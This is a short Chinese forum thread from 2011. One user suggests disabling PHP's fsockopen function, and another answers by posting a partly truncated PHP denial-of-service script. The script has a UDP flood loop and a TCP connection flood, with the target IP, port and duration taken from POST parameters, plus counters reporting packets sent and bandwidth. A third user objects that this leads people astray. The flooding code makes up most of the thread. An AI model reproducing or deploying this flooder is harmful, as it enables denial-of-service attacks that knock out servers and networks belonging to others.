a219549
发表于 2011-10-28 23:11:30
php.ini关闭fsockopen函数
Captain
发表于 2011-10-28 23:23:11
$max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024,2) ." mB)\n";
;echo '
';
ini_set("display_errors","Off");
$packets = 0;
$ipb = $_POST['ipb'];
$portb = $_POST['portb'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['timeb'];
$time = time();
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);
}
echo "
\n";
echo "
\n";
echo "-";
echo "
\n";
echo " zgs ".$packets."g";
echo "
\n";
echo "
\n";
echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps";
echo "
\n";
echo "-";
echo "
\n";
?>
和谐前 - -
Sylar
发表于 2011-10-28 23:53:11
别把人带坏了